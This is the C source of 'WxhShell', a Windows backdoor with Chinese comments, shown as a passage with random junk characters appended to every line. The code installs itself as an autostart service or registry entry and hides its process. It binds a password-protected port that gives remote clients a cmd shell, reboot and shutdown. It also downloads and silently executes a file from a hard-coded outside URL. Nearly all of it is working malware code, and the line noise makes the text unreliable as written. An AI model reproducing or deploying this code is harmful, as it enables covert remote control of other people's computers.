    if(Boot(SHUTDOWN)) *aT\V64  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U jrML  
    else { i $:QOMA  
    closesocket(wsh); |H7f@b]Sk  
    ExitThread(0); ,2?Sua/LD  
    } :Lze8oY(D}  
    break; LIZsDTU  
    } % A8dO+W  
  // 获取shell iR(jCD?) Y  
  case 's': { ]E!b&  
    CmdShell(wsh); EvQMt0[?EW  
    closesocket(wsh); 236,o {9e  
    ExitThread(0); 89 6oz>  
    break; V$';B=M  
  } 1so9w89  
  // 退出 P>s 3Rh3:  
  case 'x': { F vt5vQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;+-M+9"?O  
    CloseIt(wsh); y2:~_MD  
    break; "{F e  
    } Oj~4uT&"  
  // 离开 MhXJ /bup  
  case 'q': { >azTAX6L3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8Z:T.Gc  
    closesocket(wsh); 'ZboLoS*-  
    WSACleanup(); w%L::Z4  
    exit(1); e0; KmQjG  
    break; h~R= ?%H[  
        } "Smek#l  
  } mOQN$d[  
  } [x\?._>  
-{ M(1vV(=  
  // 提示信息 XD=p:Ezh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VQ,;~^Td  
} aUTXg60l*  
  } -h?ed'e/zz  
 ^D.u   
  return; @P@j9yR  
} pDloew  
P^Tk4_,0  
// shell模块句柄 9nrmz>es|-  
int CmdShell(SOCKET sock) }mx>3G{d  
{ S_ELV#X  
STARTUPINFO si; o$%I{}9x  
ZeroMemory(&si,sizeof(si)); Pv#>j\OR&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <T|?`;K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6myF!  H=  
PROCESS_INFORMATION ProcessInfo; cFF'ygJ/  
char cmdline[]="cmd"; {/E_l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {I:nza  
  return 0; |Y")$pjz  
} X]T&kdQ6q  
RP1sQ6$  
// 自身启动模式 h:3^FV&#  
int StartFromService(void) 1@"os[ 9  
{ }JlrWJRi  
typedef struct OoqA`%  
{ 4/J"}S  
  DWORD ExitStatus; |q+dTy_n  
  DWORD PebBaseAddress; Ak'=/`+p  
  DWORD AffinityMask; &o]ic(74c?  
  DWORD BasePriority; E-?@9!2 &  
  ULONG UniqueProcessId; x3L0;:Fx8P  
  ULONG InheritedFromUniqueProcessId; 'Xb?vOU  
}   PROCESS_BASIC_INFORMATION; 6 #m:=  
*MM8\p_PuT  
PROCNTQSIP NtQueryInformationProcess; >5c38D7k)  
7~ =r9-&G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N*NGC!p`N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k,0lA#>  
Q@aDa8Z  
  HANDLE             hProcess; uJ9 hU`h  
  PROCESS_BASIC_INFORMATION pbi; 4ynGXJmMlR  
^9`S`Bhp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9tBE=L=  
  if(NULL == hInst ) return 0; (D~NW*,9  
<Dq7^,}#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #-{^={p "  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /)/>/4O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &(/QJ`*8  
mF`%Z~}b  
  if (!NtQueryInformationProcess) return 0; ';iLk[  
R^+,D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yD:}&!\}  
  if(!hProcess) return 0; ToE^%J4  
DNmP>~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m!LJK`gA  
-(1GmU5v(  
  CloseHandle(hProcess); PGNH<E)  
qx2M"uFJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6 ~.{~+Bd  
if(hProcess==NULL) return 0; ?f&O4H  
W~Ae&gcn#  
HMODULE hMod; Ux b>)36I  
char procName[255]; \@F~4,VT  
unsigned long cbNeeded; 7I;A5f  
7?W1i{(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;!Q}g19C  
{}DoRp q=  
  CloseHandle(hProcess); =PAsyj  
c#<p44>U  
if(strstr(procName,"services")) return 1; // 以服务启动 Gm.2!F=R4A  
AoFxho  
  return 0; // 注册表启动 y\@INA^  
} ?CSv;:  
hyVBQhk  
// 主模块 cTu"Tu\Qw  
int StartWxhshell(LPSTR lpCmdLine) j7sRmQCl  
{ W+`T:Mgh  
  SOCKET wsl; 716r/@y$6  
BOOL val=TRUE; k r ga!,I  
  int port=0; BVe c  
  struct sockaddr_in door; :O/QgGZN$  
;nbbKQ]u  
  if(wscfg.ws_autoins) Install(); 2P2/]-6s#r  
x03@}M1  
port=atoi(lpCmdLine); 3fd?xhWbN  
vNSeNS@jxC  
if(port<=0) port=wscfg.ws_port; x't@Mc  
cllnYvr3  
  WSADATA data; kX "*kD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H C(7,3  
<Wa7$hF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \kEC|O)8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LtVIvZie  
  door.sin_family = AF_INET; )JXy>q#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @ @"abhT  
  door.sin_port = htons(port); EPd   
0;Z] vl/|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .M([n-  
closesocket(wsl); v%E~sX&CG  
return 1; h%8C_m A  
} !eA6Ejf  
d]+2rt}]hL  
  if(listen(wsl,2) == INVALID_SOCKET) { \%Lj !\  
closesocket(wsl); Hd89./v`:  
return 1; e {805^X}  
} 1HBWOV7z.?  
  Wxhshell(wsl); St;@ZV  
  WSACleanup(); FJ{6_=@D  
a3c43!J?M  
return 0; vpz l{  
fR#W#n#m  
} Wiere0 2*  
L|Bjw3K&D  
// 以NT服务方式启动 q]#j,}cN9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BDT"wy8  
{ K:b^@>XH  
DWORD   status = 0; 9{CajtN  
  DWORD   specificError = 0xfffffff; Ib2n Bg>j  
;"JgNad  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'c#AGi9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k%?qN,Cl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (kL(:P/  
  serviceStatus.dwWin32ExitCode     = 0; rAh|r}R  
  serviceStatus.dwServiceSpecificExitCode = 0; ,*Wp$  
  serviceStatus.dwCheckPoint       = 0; %hi]oz  
  serviceStatus.dwWaitHint       = 0; &?Z<"+B8S  
P1dFoQz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hr`,s!0Y  
  if (hServiceStatusHandle==0) return; KskPFXxP  
dZuPR  
status = GetLastError(); ~WKWx.ul  
  if (status!=NO_ERROR) Q& S 7_  
{ ]e(\<R6Gf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <$Dj ags,F  
    serviceStatus.dwCheckPoint       = 0; kJpr:4;@_  
    serviceStatus.dwWaitHint       = 0; FYIz_GTk  
    serviceStatus.dwWin32ExitCode     = status; (g0U v.*  
    serviceStatus.dwServiceSpecificExitCode = specificError; *r|Zbxf(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [BKOK7QK|  
    return; cK\'D  
  } 9e;8"rJ?C  
fE1VTGfd:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (o4':/es  
  serviceStatus.dwCheckPoint       = 0; t@!A1Vr@  
  serviceStatus.dwWaitHint       = 0; ta0;:o?/d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qJ[wVNHh!  
} `. 3{  
;E0x#JUrw  
// 处理NT服务事件,比如:启动、停止 {hVc,\A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :eFyd`Syw  
{ ~~}8D"  
switch(fdwControl) ]T._TZ"  
{ &neB$m3y  
case SERVICE_CONTROL_STOP: {m/KD 'b_  
  serviceStatus.dwWin32ExitCode = 0; 5I[6 "o0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TGuCIc0B{  
  serviceStatus.dwCheckPoint   = 0; t(1gJZs>kX  
  serviceStatus.dwWaitHint     = 0; T'a&  
  { `a5,5}7v%`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8=u88?Bh  
  } y=zs6HaS  
  return; "qoJIwl#q  
case SERVICE_CONTROL_PAUSE: 2]V8-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X0]Se(  
  break; WF-^pfRq~  
case SERVICE_CONTROL_CONTINUE: Kh{_BdN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (5kL6d2  
  break; `$ pJ2S  
case SERVICE_CONTROL_INTERROGATE: kW& zkE{  
  break; jQ['f\R  
}; [ nLd>2P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oxLO[js  
} x LGMN)@r  
wlpcuz@  
// 标准应用程序主函数 0s6eF+bs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]L?WC  
{ |Elz{i-  
74a k|(!  
// 获取操作系统版本 83F]d+n  
OsIsNt=GetOsVer(); u. 2^t :A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?ZYj5[op,H  
Ict+|<f  
  // 从命令行安装 `HILsU=|  
  if(strpbrk(lpCmdLine,"iI")) Install(); oI"gQFGu`u  
G Q}Rxu]  
  // 下载执行文件 j]m|}n  
if(wscfg.ws_downexe) { m5 l&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3v3`d+;&  
  WinExec(wscfg.ws_filenam,SW_HIDE); w:2yFC  
} M $zt;7P|  
O@>{%u  
if(!OsIsNt) { Mo\nY5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ([]\7}+8  
HideProc(); vH@$?b3VP  
StartWxhshell(lpCmdLine); 5uU{!JuSa  
} 06I(01M1   
else USH>`3  
  if(StartFromService()) *_"lXcG.  
  // 以服务方式启动 4F+G;'JV  
  StartServiceCtrlDispatcher(DispatchTable); i}@5<&J  
else $E^*^({  
  // 普通方式启动 FYH^axpp  
  StartWxhshell(lpCmdLine); Ni#y=cb  
{'cdi`  
return 0; %:y"o_X_  
} j#${L6  
&Q t1~#1  
Tj=@5lj0  
'grb@+w(  
=========================================== @'"7[k!y;  
5#::42oE  
n"<'F4r  
X [;n149o  
h([qq<Lzs  
\3whM6tK  
" XlJ+:st  
5D>cbzP@  
#include <stdio.h> ~e=KBYDBu  
#include <string.h> S9 @*g3  
#include <windows.h> gXB&Sgjo  
#include <winsock2.h> Y{L|ja%9?  
#include <winsvc.h> jR{t=da  
#include <urlmon.h> ;V^I>-fnm  
C3b<Wa])  
#pragma comment (lib, "Ws2_32.lib") 9HAK  
#pragma comment (lib, "urlmon.lib") EHm:&w  
`!.c_%m2  
#define MAX_USER   100 // 最大客户端连接数 d{DBG}/Yg  
#define BUF_SOCK   200 // sock buffer Yy_mX}\x  
#define KEY_BUFF   255 // 输入 buffer :s|xa u=  
6+Y@dJnPT  
#define REBOOT     0   // 重启 Ps~)l#gue  
#define SHUTDOWN   1   // 关机 ar@ysBy  
M+lI,j+  
#define DEF_PORT   5000 // 监听端口 #J%Fi).^)  
[Rzn>  
#define REG_LEN     16   // 注册表键长度 &sGLm~m#  
#define SVC_LEN     80   // NT服务名长度 Zk0?=f?j  
?{>5IjL)en  
// 从dll定义API \?AA:U*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EiWd =jDm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v[>8<z8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %Z(lTvqG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,J'@e+jV  
D$SO 6X~  
// wxhshell配置信息 o Hrx$>W]  
struct WSCFG { nG"Ae8r  
  int ws_port;         // 监听端口 }:+P{  
  char ws_passstr[REG_LEN]; // 口令 a!:R_P}7  
  int ws_autoins;       // 安装标记, 1=yes 0=no LsNJ3oy  
  char ws_regname[REG_LEN]; // 注册表键名 HA. O"A8`  
  char ws_svcname[REG_LEN]; // 服务名 bc\?y2 3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~q{QquYV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l%7^'nDn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [q!)Y:|u_>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IF3V5Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _x?S0R1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m\ /V0V\  
\>4x7mF!  
}; WI54xu1M  
*JVJKqed  
// default Wxhshell configuration 6 i]B8Ziq{  
struct WSCFG wscfg={DEF_PORT, #^q@ra  
    "xuhuanlingzhe", b!g8NG  
    1, I)4NCjcCw  
    "Wxhshell", [Kd"M[1[ <  
    "Wxhshell", Zy > W2(<  
            "WxhShell Service", LU@+O12  
    "Wrsky Windows CmdShell Service", n:YA4t7S  
    "Please Input Your Password: ", DJHE6XJ   
  1, &r V  
  "http://www.wrsky.com/wxhshell.exe", H$]FUv8  
  "Wxhshell.exe" D]d2opBLj  
    }; SZD@<3Nb  
mOx>p"n  
// 消息定义模块 ~ *P9_<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U6oab9C?k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E)F"!56lV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; If(IG]>`D  
char *msg_ws_ext="\n\rExit."; +IfU 5&5<  
char *msg_ws_end="\n\rQuit."; i- r y5x  
char *msg_ws_boot="\n\rReboot..."; jVdB- y/r  
char *msg_ws_poff="\n\rShutdown..."; u1 (8a%ZC  
char *msg_ws_down="\n\rSave to "; 3/2G~$C  
n\H.NL)  
char *msg_ws_err="\n\rErr!"; 6-uB[$ko  
char *msg_ws_ok="\n\rOK!"; F% K}&3  
o<%s\n  
char ExeFile[MAX_PATH]; sxQMfbN  
int nUser = 0; S31+ j:"  
HANDLE handles[MAX_USER]; G-sA)WOF  
int OsIsNt; y&+Sp/6BYA  
k'+Mc%pg4E  
SERVICE_STATUS       serviceStatus; ]}dAm S/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NeY,Of|  
woR }=\K  
// 函数声明 kM/;R)3t4/  
int Install(void); ;923^*\:F{  
int Uninstall(void); >zB0+l  
int DownloadFile(char *sURL, SOCKET wsh); b `.h+=3  
int Boot(int flag); JV9Ft,xk  
void HideProc(void); X.!|#FWb+  
int GetOsVer(void); !Ql&Ls  
int Wxhshell(SOCKET wsl); z c, Q  
void TalkWithClient(void *cs); lDhuL;9e  
int CmdShell(SOCKET sock); }K\m.+%=d  
int StartFromService(void); Iw) 'Yyg  
int StartWxhshell(LPSTR lpCmdLine); qluaop  
HCKj8-*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Oe}6jcb6&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <3c|S_|L*m  
k/V:QdD Sb  
// 数据结构和表定义 1\+d 5Q0  
SERVICE_TABLE_ENTRY DispatchTable[] = S`GM#(t@_  
{ Zw"K69A)  
{wscfg.ws_svcname, NTServiceMain}, yTL<S'  
{NULL, NULL} NKb,>TO  
}; |\ 4cQ  
B":u5_B  
// 自我安装 &c1zEgl  
int Install(void) :u>9H{a  
{ <',bqsg[  
  char svExeFile[MAX_PATH]; Lj03Mx.2S  
  HKEY key; Vt D:'L-  
  strcpy(svExeFile,ExeFile); Q@/358.LA  
FrryZe=  
// 如果是win9x系统,修改注册表设为自启动 @^kt[$X;  
if(!OsIsNt) { KN9e""  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Acib<Mi2!-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \Lu] %}  
  RegCloseKey(key); tB7g.)yZb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x(/{]$h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iSxuor ^;  
  RegCloseKey(key); %t\ ~3pw=  
  return 0; eC41PQ3=1'  
    } )$e_CJ}9e  
  } IQ"9#{o  
} 42mZ.,<  
else { "FT(U{^7d  
T.p:`}Ma  
// 如果是NT以上系统,安装为系统服务 Qcf5* ]V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3fWL}]{<a  
if (schSCManager!=0) t!,GI&  
{ 4w5mn6MxR  
  SC_HANDLE schService = CreateService u$?t |Ll  
  ( R3=]Av46  
  schSCManager, Fxr$j\bm  
  wscfg.ws_svcname, #$[}JiuL/  
  wscfg.ws_svcdisp, 5?n@.hcL  
  SERVICE_ALL_ACCESS,  rVo?I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NYcF]K}[  
  SERVICE_AUTO_START, kX^Y{73  
  SERVICE_ERROR_NORMAL, 52JtEt7E  
  svExeFile, #ig* !  
  NULL, <^(g<B`>  
  NULL, &.}Z j*BD  
  NULL, Cs ND:m  
  NULL, Tp?l;DU  
  NULL EFb"{L  
  ); c={bunnz#  
  if (schService!=0) x:O;Z~ |.  
  { 12,,gwh  
  CloseServiceHandle(schService); <>FpvdB  
  CloseServiceHandle(schSCManager); ;,yjkD[mWE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _ X* A  
  strcat(svExeFile,wscfg.ws_svcname); L'?0*t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R2[-Q"|Ra  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z3:tSjF  
  RegCloseKey(key); hqKftk)+  
  return 0; (\M&Q-xZ  
    } CgO&z<A!&  
  } M'4$z^@Z  
  CloseServiceHandle(schSCManager); qJZ5w }  
} 9cm9;  
} D8''q%  
V 2WcPI^  
return 1; *To 5\|  
} (;@\gRL  
E5J2=xVW#  
// 自我卸载 8XU m.nV  
int Uninstall(void) V=v7<I=]  
{ 'sCj|=y2Qc  
  HKEY key; c$>$2[*=  
AGdFJ>/  
if(!OsIsNt) { ,y5 7tY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jw"]U jub  
  RegDeleteValue(key,wscfg.ws_regname); 3 O)^Hq+9  
  RegCloseKey(key); nBA0LIb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { voHFU#Z$  
  RegDeleteValue(key,wscfg.ws_regname); WTcrfs)T  
  RegCloseKey(key); hvS4"% \  
  return 0; f2y:K6$'l*  
  } xC,;IS k,  
} U<*8KiI  
} 0ThX1)SH  
else { ?{O >&<~  
2-<i#nA3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J~jR`2+r  
if (schSCManager!=0) %fyah}=  
{ 7:D@6<J?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >;A7mi/  
  if (schService!=0) u#l@:p  
  { 8sG0HI$f+  
  if(DeleteService(schService)!=0) { rI E m  
  CloseServiceHandle(schService); 2yyJ19Iul  
  CloseServiceHandle(schSCManager); 1eZ759PoO  
  return 0; VHlN;6Qlff  
  } -W:te7  
  CloseServiceHandle(schService); n!B*n(;!u  
  } h!L/ZeRaV  
  CloseServiceHandle(schSCManager); AMhHq/Dw  
} m*d {pX  
} Yc,qXK-  
}op0`-Xb  
return 1; }? W[D  
} 8a^E{x@HT  
5Cp6$V|/kv  
// 从指定url下载文件 $dp;$X3  
int DownloadFile(char *sURL, SOCKET wsh) /Y>$w$S  
{ 4[ 7) $  
  HRESULT hr; K6=i\   
char seps[]= "/"; {v,O  
char *token; ue5C ]  
char *file; E26zw9d  
char myURL[MAX_PATH]; V4PV@{G  
char myFILE[MAX_PATH]; P)2.Gx/  
NRM=0-16u$  
strcpy(myURL,sURL); VoOh$&"M  
  token=strtok(myURL,seps); a&Stdh  
  while(token!=NULL) KL8G2"Z  
  { 2k}" 52  
    file=token; Wy[Ua#Dd  
  token=strtok(NULL,seps); )e$}sw{t  
  } |(Bc0sgw}  
3Vu_-.ID  
GetCurrentDirectory(MAX_PATH,myFILE); JYt)4mOo  
strcat(myFILE, "\\"); Vg 6/1I  
strcat(myFILE, file); K|q5s]4I  
  send(wsh,myFILE,strlen(myFILE),0); 0.9%m7.m  
send(wsh,"...",3,0); i58&o@.H<u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VuOZZ7y  
  if(hr==S_OK) CBqeO@M  
return 0; O]>FNsh!  
else LovVJ^TD0i  
return 1; vnNX)$f  
P9Yw\   
} 0~(K@U>#  
YTc X4cC  
// 系统电源模块 6z6\-45  
int Boot(int flag) a,GOS:?O5  
{ <Be:fnPX7  
  HANDLE hToken; (V:z7  
  TOKEN_PRIVILEGES tkp; )<?^~"h  
5d7AE^SHsH  
  if(OsIsNt) { V!Px975P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ScgaWJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xp!M A  
    tkp.PrivilegeCount = 1; 56;^ NE4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :6 , `M,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z?Cl5o&l b  
if(flag==REBOOT) { 1%v!8$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8QYP\7}o  
  return 0; jf`QoK  
} )(?,1>k`Z  
else { jvI!BZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^/0c`JG!x  
  return 0; AG3iKk??T  
} m#\I&(l+  
  } [9wuaw"~[Z  
  else { )Vn(J#s  
if(flag==REBOOT) {  }de {-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Yq6e=?-  
  return 0; <sALA~p|0  
} 7Rba@ cs9  
else { A#yZh\#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |6cz r  
  return 0; PQu_]cXI  
} eSqKXmH[m  
} +b =X~>vZ  
eucacXiZ  
return 1; kB2]Z}   
} 0tL#-47  
~rUcko8  
// win9x进程隐藏模块 5^,"Ve|  
void HideProc(void) +N|}6e  
{ &V`~ z e  
I@$cw3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '7oWN,-  
  if ( hKernel != NULL ) yHXQCWY{8;  
  { n=z=%T6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ft<6`C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %4=r .9  
    FreeLibrary(hKernel); U<YP@?w  
  } \aEarIX#*  
AHo4% 5  
return; oMb&a0-7u  
} M$jU-;hRH  
BF="gZoU<  
// 获取操作系统版本 -4%{Jb-1  
int GetOsVer(void) g< F7UA  
{ &>@  
  OSVERSIONINFO winfo; hT=6XO od4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jq5](F!z  
  GetVersionEx(&winfo); K P1;u#v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?tA<:.<vtY  
  return 1; ;R_H8vp  
  else U_&v|2o#3  
  return 0; &y} ]^wB  
} w1Xe9'$Qb  
Z\\'0yuY(  
// 客户端句柄模块 ^Fn~@'  
int Wxhshell(SOCKET wsl) B24,;2J  
{ _^k9!V jo  
  SOCKET wsh; @@ 1Sxv_  
  struct sockaddr_in client; `|rr<Tsy\  
  DWORD myID; [U^@Bkh  
pzQWr*5a  
  while(nUser<MAX_USER) kKFhbHUZa  
{ (}4]U=/nV  
  int nSize=sizeof(client); yUyx&Y/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WZ A8D0[  
  if(wsh==INVALID_SOCKET) return 1; !wU~;sL8C3  
\#hp,XV>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [ r<0[  
if(handles[nUser]==0) F?!X<N{  
  closesocket(wsh); 1.U9EuI  
else 1v?|n8  
  nUser++; @ptE&m  
  } MYlPG1X=?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ta*6xpz-\Q  
3d>3f3D8;  
  return 0; e8Y;~OAj[  
} Fv )H;1V  
s"xiGp9  
// 关闭 socket #cAX9LV  
void CloseIt(SOCKET wsh) ev LZ<|  
{ 0dKv%X#\  
closesocket(wsh); 7`G FtX}  
nUser--; t0"2Si  
ExitThread(0); ju8DmC5  
} x\R%hGt  
\Wn0,%x2  
// 客户端请求句柄 (QFu``ae+  
void TalkWithClient(void *cs)  {ch+G~oS  
{ z~f;5xtI  
{S Oy-  
  SOCKET wsh=(SOCKET)cs; ~stG2^"[  
  char pwd[SVC_LEN]; m~<<ok_  
  char cmd[KEY_BUFF]; u&Lp  
char chr[1]; (nUSgZz5  
int i,j; K]Rb~+a<  
hgmo b"o  
  while (nUser < MAX_USER) { u]uUm1Er  
A4mnm6Tf  
if(wscfg.ws_passstr) { }Y=X{3+~.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F5(DA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s~)I1G  
  //ZeroMemory(pwd,KEY_BUFF); <0M 2qt8  
      i=0; ? JliKFD%  
  while(i<SVC_LEN) { T:G8xI1 P  
# VAL\Z  
  // 设置超时 i uGly~  
  fd_set FdRead; C"[d bh!  
  struct timeval TimeOut; dJf#j?\[  
  FD_ZERO(&FdRead); OV+|j  
  FD_SET(wsh,&FdRead); @@QB,VS;{<  
  TimeOut.tv_sec=8; ol#4AU`  
  TimeOut.tv_usec=0; zir?13N7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "P9SW?',  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4*Y`Pn@  
ebTwU]Nb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UVlXDebl  
  pwd=chr[0]; ySP%i6!au  
  if(chr[0]==0xd || chr[0]==0xa) { KrzIL[;2o  
  pwd=0; &~MM\,KML  
  break; -SeHz.` N  
  } }^"#&w3<  
  i++; >713H!uj  
    } 62Q`&n6  
}n;.E&<[  
  // 如果是非法用户,关闭 socket tsys</E&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3$#=* Zp  
} loByT p ^  
&XF@Dvv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e'MLLC [  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {@*l,[,5-  
rIRkXO)  
while(1) { '6zk> rN  
^a #  
  ZeroMemory(cmd,KEY_BUFF); U_oei3QP  
CeD(!1V G  
      // 自动支持客户端 telnet标准   k>W}9^ cK  
  j=0; & Do|Hw  
  while(j<KEY_BUFF) { 0WO-+eRB/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G$7!/O%#_  
  cmd[j]=chr[0]; CWx_9b zk  
  if(chr[0]==0xa || chr[0]==0xd) { 1_MaaA;ow"  
  cmd[j]=0; DMpNm F>  
  break; +T*]!9%<`:  
  } ^Sj*  
  j++; $-l\&V++F  
    } &l;wb.%ijW  
Bm:N@wg  
  // 下载文件 'M=c-{f~  
  if(strstr(cmd,"http://")) { skzTw66W.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M?I^Od'8  
  if(DownloadFile(cmd,wsh)) 1_RN*M +#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~z&Ho  
  else 9{Xh wi)z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cK _:?G  
